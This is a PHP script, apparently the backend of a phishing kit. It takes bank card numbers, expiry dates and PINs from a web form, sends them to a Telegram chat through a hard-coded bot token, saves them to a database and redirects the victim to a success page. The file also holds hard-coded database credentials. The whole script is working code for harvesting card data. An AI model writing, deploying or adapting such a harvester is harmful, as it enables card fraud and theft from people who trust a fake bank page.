<?php
// تفعيل عرض الأخطاء
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

// بيانات الاتصال بقاعدة البيانات
$servername = "localhost"; // خادم قاعدة البيانات
$username = "u565109619_ss"; // اسم المستخدم الصحيح
$password = "#3WSSS@@xsssd"; // كلمة المرور الصحيحة
$dbname = "u565109619_WW"; // اسم قاعدة البيانات الصحيح

// إنشاء الاتصال
$conn = new mysqli($servername, $username, $password, $dbname);

// التحقق من الاتصال
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}

// استلام المعرف (R) من الفورم
if (isset($_POST['R_ID']) && !empty($_POST['R_ID'])) {
    $R = htmlspecialchars($_POST['R_ID']);
} else {
    die("Error: Reference ID (R) is missing in the form.");
}

// التحقق من وجود بقية الحقول المطلوبة
if (
    isset($_POST['BankName']) && !empty($_POST['BankName']) &&
    isset($_POST['prefix']) && !empty($_POST['prefix']) &&
    isset($_POST['numcard']) && !empty($_POST['numcard']) &&
    isset($_POST['mm']) && !empty($_POST['mm']) &&
    isset($_POST['yers']) && !empty($_POST['yers']) &&
    isset($_POST['PIN']) && !empty($_POST['PIN'])
) {
    $bankName = $_POST['BankName'];
    $prefix = $_POST['prefix'];
    $card_number = $_POST['numcard'];
    $month = $_POST['mm'];
    $year = $_POST['yers'];
    $pin = $_POST['PIN'];

    // إعداد رسالة Telegram
    $message = "✅ Transaction Details:\n";
$message .= "➖➖➖➖➖➖➖➖➖➖➖➖\n";
$message .= "📄 Reference ID: $R\n";
$message .= "➖➖➖➖➖➖➖➖➖➖➖➖\n";
$message .= "💳 Bank: $bankName\n";
$message .= "➖➖➖➖➖➖➖➖➖➖➖➖\n";
$message .= "🔢 Card Prefix: $prefix\n";
$message .= "➖➖➖➖➖➖➖➖➖➖➖➖\n";
$message .= "🔢 Card Number: $card_number\n";
$message .= "➖➖➖➖➖➖➖➖➖➖➖➖\n";
$message .= "📅  Month: $month\n";
$message .= "➖➖➖➖➖➖➖➖➖➖➖➖\n";
$message .= "📅  Year: $year\n";
$message .= "➖➖➖➖➖➖➖➖➖➖➖➖\n";
$message .= "🔐 PIN: $pin\n";
$message .= "➖➖➖➖➖➖➖➖➖➖➖➖";


    // إرسال الرسالة إلى Telegram
    $botToken = "7751540658:AAGF9noBmF2ZxbjQBSrswHtXYmeltnlstFU";
    $chatID = "-1002371740823";
    $telegramUrl = "https://api.telegram.org/bot$botToken/sendMessage";
    $telegramData = [
        'chat_id' => $chatID,
        'text' => $message,
        'parse_mode' => 'HTML'
    ];

    file_get_contents($telegramUrl . "?" . http_build_query($telegramData));

    // إدخال البيانات في قاعدة البيانات
    $stmt = $conn->prepare("INSERT INTO bank_details (`R_ID`, `card_number`, `prefix`, `month`, `year`, `pin`, `bank_name`) VALUES (?, ?, ?, ?, ?, ?, ?)");
    $stmt->bind_param("sssssss", $R, $card_number, $prefix, $month, $year, $pin, $bankName);

    if ($stmt->execute()) {
        // تحويل المستخدم إلى صفحة النجاح مع تمرير المعرف
        header("Location: index3.php?R=" . urlencode($R));
        exit();
    } else {
        die("Error: Unable to save data - " . $stmt->error);
    }
} else {
    die("Error: All fields are required.");
}

// إغلاق الاتصال
$stmt->close();
$conn->close();
?>
